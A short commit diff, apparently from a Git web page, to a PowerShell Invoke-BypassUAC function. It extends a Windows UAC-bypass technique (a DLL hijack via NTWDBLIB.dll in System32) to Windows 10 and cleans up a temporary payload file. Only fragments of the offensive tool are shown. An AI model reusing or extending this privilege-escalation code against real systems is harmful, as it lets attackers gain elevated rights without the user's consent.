updated to support win10
parent
629c8f695c
commit
eaedd354c7
|
@ -552,7 +552,7 @@ function Invoke-BypassUAC
|
|||
$szTempDllPath = $TempPayloadPath
|
||||
Write-Verbose "Windows 7/2008 detected"
|
||||
}
|
||||
elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3")) {
|
||||
elseif (($OSVersion -eq "6.2") -or ($OSVersion -eq "6.3") -or ($OSVersion -eq "10.0")) {
|
||||
# windows 8/2012
|
||||
$szElevDll = 'NTWDBLIB.dll'
|
||||
$szElevDir = $env:WINDIR + "\System32"
|
||||
|
@ -607,4 +607,4 @@ function Invoke-BypassUAC
|
|||
|
||||
Write-Verbose "Removing temporary payload $TempPayloadPath"
|
||||
Remove-Item -Path $TempPayloadPath -Force
|
||||
}
|
||||
}
|
||||
|
|
File diff suppressed because one or more lines are too long
Loading…
Reference in New Issue